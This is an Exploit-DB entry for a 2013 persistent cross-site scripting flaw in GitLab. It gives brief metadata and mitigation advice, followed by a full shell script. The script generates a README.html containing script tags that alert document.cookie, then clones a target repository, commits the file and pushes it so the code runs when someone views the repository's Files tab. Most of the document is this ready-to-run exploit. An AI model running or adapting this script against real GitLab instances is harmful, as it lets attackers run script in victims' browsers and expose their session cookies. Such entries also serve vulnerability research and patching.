gitlab persistent xss exploit

vendor:

GitLab

by:

hellok

5.5

CVSS

MEDIUM

Persistent Cross-Site Scripting (XSS)

CWE

Product Name: GitLab

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2013

gitlab persistent xss exploit

This exploit allows an attacker to inject malicious code into a GitLab repository's README.html file, which is then executed by the victim's browser when viewing the file.

Mitigation:

To mitigate this vulnerability, GitLab users should validate and sanitize all user input before it is displayed on web pages. Additionally, regular security testing and code reviews should be conducted to identify and fix any vulnerabilities.

Source

Exploit-DB raw data:

##Exploit-DB note: Tested commit 10b0b8f1797e6c09b4c063c04a4864ecd31d34f4

# Exploit Title: [gitlab persistent xss exploit]
# Date: [12/16/2013]
# Exploit Author: [hellok]
# Vendor Homepage: gitlab.org


#!/bin/sh
#author hellok
#for file format ext pwn for gitlab 12/16/2013


tee README.html > /dev/null <<'EOF'
<!-- Markdown Source -->
<!--
-->
<html>
<head>
<title>README. [Generated]</title>
<style>

/* Taken from QLMarkdown: https://github.com/toland/qlmarkdown */
/* Extracted and interpreted from adcstyle.css and frameset_styles.css */

/* body */
body {
margin: 20px 40px;
background-color: #fff;
color: #000;
font: 13px "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
}

/* links */
a:link {
color: #00f;
text-decoration: none;
}

a:visited {
color: #00a;
text-decoration: none;
}

a:hover {
color: #f60;
text-decoration: underline;
}

a:active {
color: #f60;
text-decoration: underline;
}


/* html tags */

/*  Work around IE/Win code size bug - courtesy Jesper, waffle.wootest.net  */

* html code	{
font-size: 101%;
}

* html pre {
font-size: 101%;
}

/* code */

pre, code {
font-size: 11px; font-family: monaco, courier, consolas, monospace;
}

pre {
margin-top: 5px;
margin-bottom: 10px;
border: 1px solid #c7cfd5;
background: #f1f5f9;
margin: 20px 0;
padding: 8px;
text-align: left;
}

hr {
color: #919699;
size: 1;
width: 100%;
noshade: "noshade"
}

/* headers */


h1, h2, h3, h4, h5, h6 {
font-family: "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
font-weight: bold;
}

h1	{
margin-top: 1em;
margin-bottom: 25px;
color: #000;
font-weight: bold;
font-size: 30px;
}
h2	{
margin-top: 2.5em;
font-size: 24px;
color: #000;
padding-bottom: 2px;
border-bottom: 1px solid #919699;
}
h3	{
margin-top: 2em;
margin-bottom: .5em;
font-size: 17px;
color: #000;
}
h4	{
margin-top: 2em;
margin-bottom: .5em;
font-size: 15px;
color: #000;
}
h5	{
margin-top: 20px;
margin-bottom: .5em;
padding: 0;
font-size: 13px;
color: #000;
}

h6	{
margin-top: 20px;
margin-bottom: .5em;
padding: 0;
font-size: 11px;
color: #000;
}

p {
margin-top: 0px;
margin-bottom: 10px;
}

/* lists */

ul	{
list-style: square outside;
margin: 0 0 0 30px;
padding: 0 0 12px 6px;
}

li	{
margin-top: 7px;
}

ol {
list-style-type: decimal;
list-style-position: outside;
margin: 0 0 0 30px;
padding: 0 0 12px 6px;
}

ol ol {
list-style-type: lower-alpha;
list-style-position: outside;
margin: 7px 0 0 30px;
padding: 0 0 0 10px;
}

ul ul {
margin-left: 40px;
padding: 0 0 0 6px;
}

li>p { display: inline }
li>p+p { display: block }
li>a+p { display: block }


/* table */

table {
border-top: 1px solid #919699;
border-left: 1px solid #919699;
border-spacing: 0;
}

table th {
padding: 4px 8px 4px 8px;
background: #E2E2E2;
font-size: 12px;
border-bottom: 1px solid #919699;
border-right: 1px solid #919699;
}
table th p {
font-weight: bold;
margin-bottom: 0px;
}

table td {
padding: 8px;
font-size: 12px;
vertical-align: top;
border-bottom: 1px solid #919699;
border-right: 1px solid #919699;
}
table td p {
margin-bottom: 0px;
}
table td p + p  {
margin-top: 5px;
}
table td p + p + p {
margin-top: 5px;
}

/* forms */

form {
margin: 0;
}

button {
margin: 3px 0 10px 0;
}
input {
vertical-align: middle;
padding: 0;
margin: 0 0 5px 0;
}

select {
vertical-align: middle;
padding: 0;
margin: 0 0 3px 0;
}

textarea {
margin: 0 0 10px 0;
width: 100%;
}
</style>
</head>
<body>
<b>README.</b> - Generated on <b>2013å¹´12æœˆ 16æ—¥ æ˜ŸæœŸæ—¥ 16æ—¶50åˆ†57ç§’ CST</b> by <b>hellok</b> using <a href="">Markdown</a>. Source is embedded.
<hr>

</body>
<script>alert(/pwned by hellok,fresh cookie/)</script>
<script>alert(document.cookie)</script>
</html>
EOF


USAGE="$0: <git url>"
if [ $# -lt 1 ]; then echo -e "Error: git url is required.\n$USAGE" >&2; exit 1; fi
echo "pwn start"
git clone $1
echo $(basename $1 | awk -F "." '{ print $1 }')
cp README.html $(basename $1 | awk -F "." '{ print $1 "/"}')
cd $(basename $1 | awk -F "." '{ print $1 }')
git add *
git commit -m "1"
git push
echo "DONE! Open your gitlab's Files TAB"